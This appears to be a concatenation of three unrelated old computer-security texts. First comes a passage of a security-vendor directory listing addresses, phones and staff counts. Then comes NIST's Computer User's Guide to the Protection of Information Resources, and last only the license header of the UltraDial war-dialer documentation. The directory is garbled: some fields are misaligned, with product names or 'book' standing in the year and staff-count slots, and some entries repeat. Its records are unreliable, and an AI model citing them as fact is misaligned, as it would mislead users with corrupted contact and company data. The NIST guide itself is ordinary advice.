MD 21236 Phone: 301-529-7500. Year established: 1983. Number of employees: <20. Iron Mountain, 99 Bedford St., Boston, MA 02111 Phone: 617-357-9034. Year established: 1951. Number of employees: 750. Iron Mountain Group, Inc., 77 Franklin St., Boston, MA 02110 Phone: 617-357-9034. Isolation Systems, 14800 Quorum Drive, Suite 200, Dallas, TX 75240 Phone: 214-404-0897. Year established: 1979. Isolation Systems, 26 Six Point Road, Toronto, Ontario, Canada, M8Z 2W9 Phone: 416-231-1248. Iverson Technology Corp., 1356 Beverly Road, McLean, VA 22101 Phone: 749-1225 749-1200. J&M Systems, 15100-A Central SE, Albuquerque, NM 87133 Phone: 505-292-4182. Jaehne Associates, Ltd., 1700 Rockville Pike, Suite 580, Rockville, MD 20852 Phone: 301-770-0870. Jentzen Computer Consultants, 59 Far Horizon Drive, Cheshire, CT 06410 Phone: 203-272-7540. Jerry FitzGerald & Associates, 506 Barkentine Lane, Redwood City, CA 94065-1128 Phone: 415-591-5676. Year established: 1977. Number of employees: <20. John E. Holt & Associates, , Arlington, VA Phone: 703-524-2923. John Wiley & Sons, Inc., POB 063, Somerset, NJ 08873-9977 Year established: Security for Co. Number of employees: book. Johnson Controls, POB 423, Milwaukee, WI 53201 Phone: 414-274-4000. Year established: 1885. Number of employees: 14,000. Jones Futurex, Inc, 10933 Trade Center Drive, Rancho Cordova, CA 95670 Phone: 916-635-3972. Year established: 1981. Number of employees: 30. Keep it Simple Software, Inc., 580 Fifth Ave., New York, NY 10017 Kenilworth Systems Corporation, 151 Dupont St., Plainview, NY 11803 Phone: 516-349-0990. Year established: 1968. Number of employees: 39. Kenilworth Systems Corporation, 151 Dupont St., Plainview, NY 11803 Phone: 516-349-0990. Year established: 1968. Number of employees: 39. Kent Marsh Ltd., Inc., 1200 Post Oak Blvd., Suite 210, Houston, TX 77056 Phone: 800-325-3587 713-623-8618. Kevin D. Murray Associates, POB 5004, Clinton, NJ 08809 Phone: 201-730-8733. Year established: 1978. Number of employees: 5. Key Concepts, 316 S. Eddy St., South Bend, IN 46617 Phone: 219-234-4207. Year established: 1985. Number of employees: <20. Kimtron, 1709 Junction Court, Building 380, San Jose, CA 95112 Phone: 408-436-6550. Kinetic Software Corp., 240 Distillery Commons, Louisville, KY 40206 Phone: 502-583-1679. Koch Software Industries, 11 W. College Dr., Building G, Arlington Hts., IL 60004 Kolod Research, POB 68, Glenview, IL 60025 Phone: 312-291-1447. Kurt Salmon Associates, Inc., 400 Colony Square, Atlanta, GA 30361 Phone: 404 892-0321. Year established: 1935. Number of employees: 300. LAN Services, New York, NY Year established: LANTrail. LAN Systems, 599 Broadway, New York, NY 10012 Phone: 212-431-8484. Year established: LAN Librarian. Lattice, Inc., 2500 S. Highland Ave., Lombard, IL 60148 Phone: 312-916-1600. LDI Disaster Recovery Corp, 30700 Carter St., Solon, OH 44139 Phone: 216-248-0991. Number of employees: 100-499. LeeMah Datacom Security Corp., 3948 Trust Way, Hayward, CA 94545 Phone: 415-786-0790. Legist Automation, Inc, POB 121347, Arlington, TX 76012-1347 Phone: 817-274-0089. Liebert Corporation, 1050 Dearborn Drive, Columbus, OH 43229 Phone: 614-888-0246. Year established: 1965. Number of employees: 5,000+. Linear Systems Ltd., 1760 Sargent Avenue, Winnipeg, Manitoba, Canada, R3H 0C7 Phone: 204-785-2228. Logiplex Corporation, 5221 S.W. Corbett Ave., Portland, OR 97201 Phone: 503-796-0335. Year established: 1975. Number of employees: 20-49. Lortec Power Systems, 145 Keep Court, Elyria, OH 44035 Phone: 216-327-5050. Year established: 1977. Number of employees: 50-99. Loss Management Consultants, POB 775, Plymouth Mtg., PA 19462 Phone: 215-279-5450. M&M Protection Consultants, 10 S. Broadway, St. Louis, MO 63102 Phone: 314-621-5540. Year established: 1971. Number of employees: 2. M&M Vanecek, Inc., 3601 Montecito Road, Denton, TX 76205 Phone: 817-383-2775. M-Plus Consulting Services, 1806 E. Northwest Highway, Arlington, Heights, IL 60004 Phone: 312-255-7400. Year established: 1986. Number of employees: 20. MacDonald & Associates, Inc., 110 Woodlawn Avenue, Chesterton, IN 46304 Phone: 219-926-7888 312-236-0188. Year established: 1978. Number of employees: 11. Magna, 2540 N. First Street, Suite 302, San Jose, CA 95131 Phone: 408-433-5467. Year established: 1988. Number of employees: <20. Management Advisory Services &, Publications, 57 Greylock Road, POB 151, Wellesley Hills, MA 02181 Phone: 617-235-2895. Year established: 1972. Number of employees: 3. Management Dimensions Corporation, 185 East Garfield Avenue, Ponoma, CA 91767 Phone: 714-946-9780. Year established: 1977. Number of employees: 6. Marion & Associates, POB 17206, Winston-Salem, NC 27116 Phone: 919-724-4216. Year established: 1983. Number of employees: 2. Mastiff Systems, 1698 Sands Place, Suite D, Marietta, GA 30067 Phone: 404-984-0202 404-984-0011. Year established: 1980. Number of employees: <20. McInerney Consulting, POB 938, Port Hueneme, CA 93041 Phone: 805-985-0683. Year established: 1970. Number of employees: 1. MCTel, 5070 Parkside Avenue, Suite 1300, Philadelphia, PA 19131 Phone: 215-879-3820. Year established: P/C Privacy. Mead-Hatcher Inc, POB 861, Buffalo, NY 14240-0861 Phone: 716-877-1185. Year established: 1951. Number of employees: 50-99. Medeco Security Locks, POB 3075, Salem, VA 24153 Phone: 703-380-5000. Mesa Technology Corp., 9720 Patuxent Woods Drive, Columbia, MD 21046 Phone: 301-290-8150 800-367-2007. Micro Security Systems, Inc., 4750 Wiley Post Way, Suite 180, Salt Lake City, UT 84116-2878 Phone: 801-575-6600 800-456-2587. MicroFrame, Inc, 2551 Route 130, Cranbury, NJ 08512 Phone: 609-395-7800. Year established: 1982. Number of employees: 20-49. Micronyx, Inc., 1901 N. Central Expressway, Richardson, TX 75080 Phone: 214-690-0595. Microsystems Development, 4100 Moorpark Avenue, #104, San Jose, CA 95117 Phone: 408-296-4000. Mika, L.P., 1000 Holcomb Woods Parkway, Suite 324, Roswell, GA 30076 Phone: 404-993-4421 800-777-6452. Year established: 1989. Number of employees: <20. Miller Communications Systems Ltd, 300 Legget Drive, Kanata, ONT K2K 1Y Phone: 613-592-3020. Year established: 1974. MIS Training Institute, 498 Concord St., Framingham, MA 01701 Phone: 508-879-7999. Number of employees: <20. MISCO, Box 399, Holmdel, NJ 07733 Year established: Eqpt locking de. Mitek Systems, Inc, 6225 Nancy Ridge Drive, San Diego, CA 92121 Phone: 619-587-9157. Year established: 1980. Number of employees: 100-499. Mitsuba Technology, 557 W. Covina Blvd., San Dimas, CA 91773 Phone: 714-592-6003. Mordon System Services, Inc, 4480 Whitelodge Crescent, Mississauga, ONT L5R 1S9 Phone: 416-568-1428. Year established: 1980. Number of employees: <20. Morgan Computing Co., POB 112730, Carrollton, TX 75011 MPL Power Systems, Inc, 8237 Hermitage Road, Richmond, VA 23228 Phone: 804-262-6068. Year established: 1984. Number of employees: 100-499. MPPi, Ltd., 2200 Lehigh Ave., Glenview, IL 60025 Phone: 312-998-8401. Multisoft Corp., 18220 SW Monte Verdi Blvd., Beaverton, OR 97007 Nander Brown & Company, 11330 Links Drive, Reston, VA 22091 Phone: 689-4580. Year established: 1985. Number of employees: <20. National Dataguard Technologies, 4111 E. Royalton Road, Broadview Hts, OH 44147 Phone: 216-526-6373. Year established: 1984. Number of employees: 20-49. Ncompass Software, 270 Lafayette St., Suite 702, New York, NY 10012 Phone: 212-925-0020. Year established: LANscape. NCR-SE, Zadelstede 1-10, Nieuwegein, Phone: (31) 3402 76439. Year established: 1982. Number of employees: 6,000. Northern Computers Inc, 4915 S. Howell Avenue, Milwaukee, WI 53207 Phone: 414-769-5980. Year established: 1981. Number of employees: 25. Norton-Lambert Corp., POB 4085, Santa Barbara, CA 93140 Phone: 805-964-6767. Year established: Close-Up LAN. Nova Electric, Inc, 263 Hillside Avenue, Nutley, NJ 07110 Phone: 201-661-3434. Year established: 1966. Number of employees: 20-49. O'Neill Software, POB 26111, San Francisco, CA 94126 Off Site Storage, Inc., 141 Hall Street, Lowell, MA 01853 Phone: 800-633-7483. Year established: 1979. Number of employees: 20. Okiok Data Ltd., 3945 St. Marin Blvd. West, Laval, Quebec, Canada, H7T 1B7 Phone: 514-681-1681. OMM Corporation, 4200 Wisconsin Avenue NW, Suite 106, Washington, DC 20016 Phone: 234-2117. Year established: 1987. Number of employees: <20. Omni Tech Corporation, 21850 Watertown Road, Waukesha, WI 53186 Phone: 414-784-4112. Year established: 1979<20. Omni, Inc., Route 5, Box 940, (Rt. 637 & Woodland Rd), Sterling, VA 22170 Phone: 703-450-0436. Year established: 1985. Number of employees: <20. On Track Computer Systems, 6200 Bury Drive, Eden Prairie, MN 55346 Phone: 800-752-1333. Optelcom, Inc, 15930 Luanne Drive, Gaithersburg, MD 20877 Phone: 840-2121. Year established: 1972. Number of employees: 50-99. Optimum Electronics, Inc, 425 Washington Ave., North Haven, CT 06473 Phone: 203-239-6098. Year established: 1982. Number of employees: <20. ORI, Inc., 1375 Piccard Drive, Rockville, MD 20850 Phone: 301-670-2190. Year established: 1953. Ozier, Perry & Associates, 870 Market Street, Suite 1001, San Francisco, CA 94102 Phone: 415-989-9092. Year established: 1984. Number of employees: <20. P E Systems, Inc, 5520 Cherokee Avenue, Alexandria, VA 22312 Phone: 703-642-9300. Year established: 1971. Number of employees: 20-49. PA Computers & Telecommunications, 5 Independence Way, Princeton, NJ 08540 Phone: 609-452-8748. Panasonic Industrial Company, One Panasonic Way, Secaucus, NJ 07094 Phone: 201-348-7000. Year established: 1959. Number of employees: >5,000.
Panoramic, 1340 Saratoga-Sunnyside Road, San Jose, CA 95127 Phone: 408-973-9700. Year established: 1983. Number of employees: 20-49.
Para Systems, Inc., POB 815188, Dallas, TX 75381-5188 Phone: 214-446-7363 800-238-7272.
Paul Gratton & Associates, 85 Hallowell, Westmount, Quebec, Canada, H3Z 2E8 Phone: 514-937-7791.
Paul Mace Sotware, 400 Williamson Way, Ashland, OR 97520 Phone: 1-800-523-0258.
PE Systems, inc, 5520 Cherokee Ave., Alexandria, VA 22312 Phone: 703-642-9832.
Personal Computer Accessories Inc, 78 E. Industry Court, Deer Park, NY 11729 Phone: 516-742-1365.
Persson Associates, 1542 Crabtree Lane, Suite 100, Deerfield, IL 60015 Phone: 312-940-1660. Year established: 1985. Number of employees: 5.
Peter Norton Computing, Inc., 100 Wilshire Blvd, 9th Floor, Santa Monica, CA 90401-1104 Phone: 213-319-2000.
Phoenix Technologies, 320 Norwood Park South, Norwood, MA 02062
Pivotal, Inc., POB 32647, Tucson, AZ 85751 Phone: 602-886-5563. Year established: 1982. Number of employees: 11.
Power Systems and Controls, 3206 Lanvale Avenue, Richmond, VA 23230 Phone: 804-355-2803. Year established: 1965. Number of employees: 55.
Price Waterhouse Management, Consulting Services, 1251 Avenue of the Americas, New York, NY 10020 Phone: 212-489-8900.
Prime Factors, Inc, 1470 E. 20th Avenue, Eugene, OR 97403 Phone: 503-345-4334. Year established: 1980. Number of employees: <20. Prime Solutions, , Phone: 619-274-5000. Professional & Technical, Consultants Association, 1330 S. Bascom Ave., Suite D, San Jose, CA 95128 Phone: 408-287-8703. Profile Analysis Corporation, POB 875, 454 Main St., Ridgefield, CT 06877 Phone: 203-431-8720. Proprietary Control Systems Corp, 1123 E. Walnut St., Carson, CA 90746 Phone: 213-638-0400. Year established: 1983. Number of employees: 50-99. Provident Recovery Systems, 110 MacKenan Drive, Cary, NC 27511 Phone: 919-481-0011. Year established: 1985. Pulizzi Engineering Inc, 3260 S. Susan St., Santa Ana, CA 92704-6865 Phone: 714-540-4229. Number of employees: 20-49. Pyramid Development Corp., 20 Hurlbut St., West Hartford, CT 06110 Phone: 203-524-9832 203-953-9832. Year established: 1985. Number of employees: 20-49. QCAD Systems, Inc., 1164 Hyde Ave., San Jose, CA 95129 Quaid Software, Inc., 45 Charles St. East, 3rd Floor, Toronto, ONT M4Y 1S2 Phone: 416-961-8243. Qualtec Data Products, 47767 Warm Springs Blvd., Freemont, CA 94539 Phone: 415-490-8911 415-490-8471 fax. R & B Enterprises, 20 Clipper Road, W. Conshohocken, PA 19428 Phone: 215-825-1960. Year established: 1970. Number of employees: 20-49. Racal-Guardata, Div of ACS Communications Sys., 480 Spring Park Place, Herndon, VA 22070 Phone: 703-471-0892. Year established: 1982. Racal-Vadic, 1525 McCarthy Blvd., Milpitas, CA 95035 Phone: 408-432-8008. Racore Computer Products, 170 Knowles Drive, Los Gatos, CA 95030 Phone: 408-374-8290. Rainbow Technologies, Inc., 18011-A Mitchell St., Irvine, CA 92714 Phone: 714-261-0228. Ralph V. Ward, Ltd., 1309 Oberon Way, McLean, VA 22102 Phone: 703-356-5266. Year established: 1972. Number of employees: 3. Receptors, Inc, 2570 West 237th St., Torrance, CA 90505 Phone: 213-534-1900. Number of employees: 20-49. Recognition Systems, 1589 Provincetown Drive, San Jose, CA 95129 Phone: 408-257-2477. Recovery Resources, Inc, 7215 Monetary Drive, Orlando, FL 32809 Phone: 407-422-5991. Year established: 1987. Number of employees: <20. Reliable Communications Inc, 20111 Stevens Creek Blvd., Suite 100, Cupertino, CA 95014-2345 Phone: 408-996-0230. Year established: 1977. Number of employees: 50-99. Remote Systems, Inc., 38 Cessna Court, Gaithersburg, MD 20879 Phone: 301-869-6500. Year established: Secureware. Remote Technologies, Inc., , St. Louis, MO RG Software Systems, Inc, 2300 Computer Avenue, Suite I-51, Willow Grove, PA 19090 Phone: 215-659-5300. Year established: 1984. Number of employees: <20. Ricoh Corporation, 5 Dedrick Place, West Caldwell, NJ 07006 Phone: 201-882-2075. Risk Management Group, Inc., 10 Central Park Way, Suite 310, Box 1133, Stuart, FL 33497 Phone: 305-287-0535. Riverbend Group, 1491 Chain Bridge Road, McLean, VA 22101 Phone: 703-883-0616. Year established: Hot New Tricks. Rothstein Associates Inc., 13 Spring Pond Drive, Ossining, NY 10562 Phone: 914-941-6867. Year established: 1985. Number of employees: 6. RSA Data Security, Inc., 10 Twin Dolphin Drive, Redwood City, CA 94065 Phone: 415-595-8782. Rugged Digital Systems, Inc, 665 Clyde Avenue, Mountain View, CA 94043 Phone: 415-966-1770. Year established: 1982. Number of employees: 100-499. Safe Power Systems, 528 W. 21st Street, Suite 6, Tempe, AZ 85282 Phone: 800-325-5848. Year established: 1983. Number of employees: 20-49. Safesite, 14275 Commerce Drive, Garden Grove, CA 92643 Phone: 714-554-8600. Year established: 1986. Number of employees: 50-99. Safeware, The Insurance Agency Inc., POB 02211, 2929 N. High St., Columbus, OH 43202 Phone: 800-848-3469. Year established: Insurance. Sako & Associates, Inc., 1130 Lake Cook Road, Buffalo Grove, IL 60089 Phone: 312-459-0900. Year established: 1974. Number of employees: 9. Sandtech Data Security, POB 3514, Princeton, NJ 08543-3514 Phone: 609-890-9033. Year established: 1986. Number of employees: 4. SDA Associates, POB 36152, San Jose, CA 95158 Sector Technology, 6 Skyline Place, Suite 900, 5109 Leesburg Pike, Falls Church, VA 22041-3201 Phone: 379-1800. Year established: 1978. Number of employees: 100-499. Secure Services Technology, , Chantilly, VA Phone: 968-6621. Secure Solutions, Inc., 9404 Genesee Avenue, Suite 237, La Jolla, CA 92037 Phone: 619-546-8616. Year established: 1986. Number of employees: 3. Secure-It Inc, 18 Maple Court, E. Longmeadow, MA 01028 Phone: 413-525-7039. Year established: 1983. Number of employees: <20. Security Audit, Inc., POB 1005, Notre Dame, IN 46556 Phone: 312-339-4243 219-277-2560. Year established: 1977. Number of employees: 5. Security Communications of America, 194 North Plains Industrial Rd, Wallingford, CT 06492 Phone: 203-269-1883. Year established: 1982. Number of employees: <20. Security Control Systems, Inc, 9000 Larline Ave., Chatsworth, CA 91311 Phone: 818-709-5426. Year established: 1980. Number of employees: 20-49. Security Engineered Machinery, 5 Walkup Drive, POB 1045, Westboro, MA 01581 Phone: 508-366-1488 800-225-9293. Year established: 1967. Number of employees: 20-49. Security Microsystems Consultants, 215 Cromwell Ave, Staten Island, NY 10305 Phone: 718-667-1019. Year established: 1982. Number of employees: <20. Sentrol, Inc., 10831 W. Cascade Blvd., Portland, OR 97223 Phone: 503-620-8540 800-547-2556. Year established: 1977. Number of employees: 100-499. Seton Name Plate Corporation, PO Drawer 1331, New Haven, CT 06505 Phone: 203-488-0085. Year established: Name plates. SFA, Inc, 1401 McCormick Drive, Landover, MD 20785 Phone: 301-925-9400. Year established: 1969. Number of employees: 395. Shredex Inc, 170 Wilbur Place, Bohemia, NY 11716 Phone: 516-563-4950. Number of employees: 20-49. Sigma Designs, 2023 O'Toole Ave., San Jose, CA 95131 Simulation Laboratories, Inc., , Germantown, MD Phone: 961-5696. SitBack Technologies, 9290 Bond, Suite 210, Overland Park, KS 66214 Phone: 1-800-873-7482. Smith System Mfg Co, POB 64515, St. Paul, MN 55164 Phone: 612-482-0260. Year established: 1905. Number of employees: 100-499. SoftLogic Solutions, One Perimeter Road, Manchester, NH 03103 Phone: 603-644-5555. Software Concepts Design, 594 Third Avenue, New York, NY 10016 Phone: 212-889-6431. Software Development, Department P, 432 E. Wells St., Milwaukee, WI 53202 Software Directions, Inc., 1572 Sussex Turnpike, Randolph, NJ 07869 Phone: 201-584-8466. Software Masters, 6223 Carrollton Ave., Indianapolis, IN 46220 Phone: 317-253-8088. Sola/A Unit of General Signal, 1717 Busse Road, Elk Grove, Village, IL 60007 Phone: 312-439-2800. Year established: 1930. Number of employees: 700. Solidstate Controls, Inc, 875 Dearborn Drive, Columbus, OH 43085 Phone: 614-846-7500. Year established: 1962. Number of employees: 100-499. Sophco, POB 7430, Boulder, CO 80306-7430 Phone: 303-444-1542 800-922-3001. Year established: Protec. Sophos Ltd, Haddenham, Aylesbury, HP1Y 8JD Phone: 44/0844/292392. Year established: 1980. Number of employees: <20. South Texas Recovery Service, 121 Interpark Blvd, Suite 1101, San Antonio, TX 78216 Phone: 512-490-1887. Year established: 1986. Number of employees: 25. Spectrum Computer Services, 9 Burditt Road, North Reading, MA 01864 Phone: 800-541-4370. Storage Dimensions, Strohl Systems, 661 West Germantown Pike, Plymouth, Meeting, PA 19462 Phone: 215-825-6220. Year established: 1967. Number of employees: 50-99. Strohl Systems, 661 West Germantown Pike, Plymouth, Meeting, PA 19462 Phone: 215-825-6220. Year established: 1967. Number of employees: 50-99. SunDog Software Corp., 264 Court St., Brooklyn, NY 11231 SunFlex Software, 1447 Peachtree St., Suite 503, Atlanta, GA 30309 Phone: 404-874-9699. Sungard Recovery Services, Inc., 1285 Drummers Lane, Wayne, PA 19087 Phone: 215-341-8777. Year established: 1978. Number of employees: 7. Synergistics, Inc, 9 Tech Circle, Natick, MA 01760 Phone: 508-655-1340. Year established: 1968. Number of employees: 20-49. Sypro, Glocester Trading Estate, Hucclecote, Gloucester, England, GL3 4AE Phone: (0452) 371044. Year established: 1986. Number of employees: 10. Systech Group, Inc., 1768 Business Center Drive, Suite 100, Reston, VA 22091 Phone: 703-759-3372. Year established: 1985. Number of employees: 10. System Facilities, Inc., POB 7079, Charlottesville, VA 22906 Phone: 804-977-5245. Systems Support, Inc, 2712 Meramar Drive, St. Louis, MO 63129 Phone: 314-846-1001. Year established: 1986. Number of employees: <20. TACT Technology, 100 N. 20th St., Philadelphia, PA 19103 Phone: 800-523-0103. Year established: ComputerSentry. TAMP Computer Systems, Inc., 1732 Remson Avenue, Merrick, NY 11566 Phone: 516-623-2038. Year established: 1979. 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Zenith/Inteq Inc., 13860 Redskin Drive, Herndon, VA 22070 Phone: 703-471-1500. Zeus Corporation, 538 Palisades Drive, Akron, OH 44303-1704 Phone: 216-867-8181. Zurich Depository Corporation, 1165 Northern Blvd., Manhasset, NY 11030 Phone: 516-365-4756. Year established: 1983. Number of employees: 2 Downloaded From P-80 International Information Systems 304-744-2253

The NIST Computer User’s Guide to the Protection of Information Resources

Computer User’s Guide to the Protection of Information
Resources

National Institute of Standards and Technology
The National Institute of Standards and Technology (NIST) is
responsible or developing standards, providing technical
assistance, and conducting research for computers and related
systems. These activities provide technical support to government
and industry in the effective, safe, and economical use of
computers. With the passage of the Computer Security
Act of 1987 (P.L. 100-235), NIST’s activities also include the
development of standards and guidelines needed to assure the
cost-effective security and privacy of sensitive information in
Federal computer systems. This guide is just one of three
brochures designed for a specific audience. The “Executive Guide
to the Protection of Information Resources,” and the “Managers
Guide to the Protection of Information Resources” complete the
series.

ACKNOWLEDGMENTS
This guide was written by Cheryl Helsing of Deloitte, Haskins &
Sells in conjunction with Marianne Swanson and Mary Anne Todd of
the National Institute of Standards and Technology.

Introduction
Today’s computer technology, with microcomputers and on-line
access, has placed the power of the computer where it belongs, in
YOUR hands. YOU, the users, develop computer applications and
perform other data processing functions which previously were
only done by the computer operations personnel. These advances
have greatly improved our efficiency and effectiveness but, also
present a serious challenge in achieving adequate data security.

While excellent progress has been made in computer technology,
very little has been done to inform users of the vulnerability of
data and information to such threats as unauthorized
modification, disclosure, and destruction, either deliberate or
accidental. This guide will make you aware of some of the
undesirable things that can happen to data and will provide some
practical solutions for reducing your risks to these threats.

WHO IS RESPONSIBLE FOR PROTECTING DATA AND INFORMATION?
The statement that “security is everyone’s responsibility” is
absolutely true. Owners, developers, operators and users of
information systems each has a personal responsibility to protect
these resources. Functional managers have the responsibility to
provide appropriate security controls for any information
resources entrusted to them. These managers are personally
responsible for understanding the sensitivity and criticality of
their data and the extent of losses that could occur if the
resources are not protected. Managers must ensure that all users
of their data and systems are made aware of the practices and
procedures used to protect the information resources. When you
don’t know what your security responsibilities are, ASK YOUR
MANAGER OR SUPERVISOR.
WHAT IS “SENSITIVE” DATA?
All data is sensitive to some degree; exactly how sensitive is
unique to each business environment. Within the Federal
Government, personal information is sensitive to unauthorized
disclosure under the Privacy Act of 1974. In some cases, data is
far more sensitive to accidental errors or omissions that
compromise accuracy, integrity, or availability. For example, in
a Management Information System, inaccurate, incomplete, or
obsolete information can result in erroneous management decisions
which could cause serious damage and require time and money to
rectify. Data and information which are critical to an agency’s
ability to perform its mission are sensitive to nonavailability.

Still other data are sensitive to fraudulent manipulation for
personal gain. Systems that process electronic funds transfers,
control inventories, issue checks, control accounts receivables
and payables, etc., can be fraudulently exploited resulting in
serious losses to an agency.
One way to determine the sensitivity of data is to ask the
questions “What will it cost if the data is wrong? Manipulated
for fraudulent purposes? Not available? Given to the wrong
person?” If the damage is more than you can tolerate, then the
data is sensitive and should have adequate security controls to
prevent or lessen the potential loss.

WHAT RISKS ARE ASSOCIATED WITH THE USE OF COMPUTERS?
Over the past several decades, computers have taken over
virtually all of our major record-keeping functions. Recently,
personal computers have made it cost-effective to automate many
office functions. Computerization has many advantages and is here
to stay; however, automated systems introduce new risks, and we
should take steps to control those risks.
We should be concerned with the same risks that existed when
manual procedures were used, as well as some new risks created by
the unique nature of computers themselves. One risk introduced by
computers is the concentration of tremendous amounts of data in
one location. The greater the concentration, the greater the
consequences of loss or damage. Another example is that computer
users access information from remote terminals. We must be able
to positively identify the user, as well as ensure that the user
is only able to access information and functions that have been
authorized. Newspaper accounts of computer “hackers,” computer
virus attacks, and other types of intruders underscore the
reality of the threat to government and commercial computer
systems.

HOW MUCH SECURITY IS ENOUGH?
No matter how many controls or safeguards we use, we can never
achieve total security. We can, however, decrease the risk in
proportion to the strength of the protective measures. The degree
of protection is based on the value of the information; in other
words, how serious would be the consequences if a certain type of
information were to be wrongfully changed, disclosed, delayed, or
destroyed?

General Responsibilities
All Federal computer system users share certain general
responsibilities for information resource protection. The
following considerations should guide your actions.

Treat information as you would any valuable asset.
You would not walk away from your desk leaving cash or other
valuables unattended. You should take the same care to protect
information. If you are not sure of the value or sensitivity of
the various kinds of information you handle, ask your manager for
guidance.

Use government computer systems only for lawful and authorized
purposes.
The computer systems you use in your daily work should be used
only for authorized purposes and in a lawful manner. There are
computer crime laws that prescribe criminal penalties for those
who illegally access Federal computer systems or data.
Additionally, the unauthorized use of Federal computer systems or
use of authorized privileges for unauthorized purposes could
result in disciplinary action.

Observe policies and procedures established by agency
management.
Specific requirements for the protection of information have been
established by your agency. These requirements may be found in
policy manuals, rules, or procedures. Ask your manager if you are
unsure about your own responsibilities for protection of
information.

Recognize that you are accountable for your activities on
computer systems.
After you receive authorization to use any Federal computer
system, you become personally responsible and accountable for
your activity on the system. Accordingly, your use should be
restricted to those functions needed to carry out job
responsibilities.

Report unusual occurrences to your manager.
Many losses would be avoided if computer users would report any
circumstances that seem unusual or irregular. Warning signals
could include such things as unexplainable system activity that
you did not perform, data that appears to be of questionable
accuracy, and unexpected or incorrect processing results. If you
should notice anything of a questionable nature, bring it to your
manager’s attention.

Security and Control Guidelines
Some common-sense protective measures can reduce the risk of
loss, damage, or disclosure of information. Following are the
most important areas of information systems controls that assure
that the system is properly used, resistant to disruptions, and
reliable.

Make certain no one can impersonate you.
If a password is used to verify your identity, this is the key to
system security. Do not disclose your password to anyone, or
allow anyone to observe your password as you enter it during the
sign-on process. If you choose your own password, avoid selecting
a password with any personal associations, or one that is very
simple or short. The aim is to select a password that would be
difficult to guess or derive. “1REDDOG” would be a better
password than “DUKE.”
If your system allows you to change your own password, do so
regularly. Find out what your agency requires, and change
passwords at least that frequently. Periodic password changes
keep undetected intruders from continuously using the password of
a legitimate user.

After you are logged on, the computer will attribute all activity
to your user id. Therefore, never leave your terminal without
logging off — even for a few minutes. Always log off or
otherwise inactivate your terminal so no one could perform any
activity under your user id when you are away from the area.

Safeguard sensitive information from disclosure to others.
People often forget to lock up sensitive reports and computer
media containing sensitive data when they leave their work areas.
Information carelessly left on top of desks and in unlocked
storage can be casually observed, or deliberately stolen. Every
employee who works with sensitive information should have
lockable space available for storage when information is not in
use. If you aren’t sure what information should be locked up or
what locked storage is available, ask your manager.

While working, be aware of the visibility of data on your
personal computer or terminal display screen. You may need to
reposition equipment or furniture to eliminate over-the-shoulder
viewing. Be especially careful near windows and in public areas.
Label all sensitive diskettes and other computer media to alert
other employees of the need to be especially careful. When no
longer needed, sensitive information should be deleted or
discarded in such a way that unauthorized individuals cannot
recover the data. Printed reports should be finely shredded,
while data on magnetic media should be overwritten. Files that
are merely deleted are not really erased and can still be
recovered.

Install physical security devices or software on personal
computers.
The value and popularity of personal computers make theft a big
problem, especially in low-security office areas. Relatively
inexpensive hardware devices greatly reduce the risk of equipment
loss. Such devices involve lock-down cables or enclosures that
attach equipment to furniture. Another approach is to place
equipment in lockable cabinets.
When data is stored on a hard disk, take some steps to keep
unauthorized individuals from accessing that data. A power lock
device only allows key-holders to turn on power to the personal
computer. Where there is a need to segregate information between
multiple authorized users of a personal computer, additional
security in the form of software is probably needed. Specific
files could be encrypted to make them unintelligible to
unauthorized staff, or access control software can divide storage
space among authorized users, restricting each user to their own
files.

Avoid costly disruptions caused by data or hardware loss.
Disruptions and delays are expensive. No one enjoys working
frantically to re-enter work, do the same job twice, or fix
problems while new work piles up. Most disruptions can be
prevented, and the impact of disruptions can be minimized by
advance planning. Proper environmental conditions and power
supplies minimize equipment outages and information loss. Many
electrical circuits in office areas do not constitute an adequate
power source, so dedicated circuits for computer systems should
be considered. Make certain that your surroundings meet the
essential requirements for correct equipment operation. Cover
equipment when not in use to protect it from dust, water leaks,
and other hazards.

For protection from accidental or deliberate destruction of data,
regular data backups are essential. Complete system backups
should be taken at intervals determined by how quickly
information changes or by the volume of transactions. Backups
should be stored in another location, to guard against the
possibility of original and backup copies being destroyed by the
same fire or other disaster.

Maintain the authorized hardware/software configuration.
Some organizations have been affected by computer “viruses”
acquired through seemingly useful or innocent software obtained
from public access bulletin boards or other sources; others have
been liable for software illegally copied by employees. The
installation of unauthorized hardware can cause damage,
invalidate warranties, or have other negative consequences.
Install only hardware or software that has been acquired through
normal acquisition procedures and comply with all software
licensing agreement requirements.

SUMMARY
Ultimately, computer security is the user’s responsibility. You,
the user, must be alert to possible breaches in security and
adhere to the security regulations that have been established
within your agency. The security practices listed are not
inclusive, but rather designed to remind you and raise your
awareness towards securing your information resources:

PROTECT YOUR EQUIPMENT
Keep it in a secure environment
Keep food, drink, and cigarettes AWAY from it
Know where the fire suppression equipment is located and know
how to use it

PROTECT YOUR AREA
Keep unauthorized people AWAY from your equipment and data
Challenge strangers in your area

PROTECT YOUR PASSWORD
Never write it down or give it to anyone
Don’t use names, numbers or dates which are personally
identified with you
Change it often, but change it immediately if you think it has
been compromised

PROTECT YOUR FILES
Don’t allow unauthorized access to your files and data
NEVER leave your equipment unattended with your password
activated – SIGN OFF!

PROTECT AGAINST VIRUSES
Don’t use unauthorized software
Back up your files before implementing ANY new software

LOCK UP STORAGE MEDIA CONTAINING SENSITIVE DATA
If the data or information is sensitive or critical to your
operation, lock it up!

BACK UP YOUR DATA
Keep duplicates of your sensitive data in a safe place, out of
your immediate area
Back it up as often as necessary

REPORT SECURITY VIOLATIONS
Tell your manager if you see any unauthorized changes to your
data
Immediately report any loss of data or programs, whether
automated or hard copy

For Additional Information
National Institute of Standards and Technology
Computer Security Program Office
A-216 Technology
Gaithersburg, MD 20899
(301) 975-5200

For further information on the management of information
resources, NIST publishes Federal Information Processing
Standards Publications (FIBS PUBS). These publications deal with
many aspects of computer security, including password usage, data
encryption, ADP risk management and contingency planning, and
computer system security certification and accreditation. A list
of current publications is available from:

Standards Processing Coordinator (ADP)
National Computer Systems Laboratory
National Institute of Standards and Technology
Technology Building, B-64
Gaithersburg, MD 20899
Phone: (301) 975-2817
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The Ultimate in Wargames Dialers: UltraDial 3.0 Documentation by Paul Levy

…How About A Nice Game Of Chess…

The
Ultimate
In WarGames
Dialers

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U L T R A – D I A L
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VERSION 3.0: THE FINAL FRONTIER!
= By: Paul Levy =

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Software Creations For The IBM-PC

The author of this software takes no responsibility for what
occurs during the use of this program. It is distributed
completely free of charge and nothing is expected in return
except that you follow the following guide lines:

1) This software is not to be distributed in a modified
form…including any and all documentation that comes with the
software.
2) This software is not to be distributed for any fee. It’s
author has chosen to distribute it free of charge.
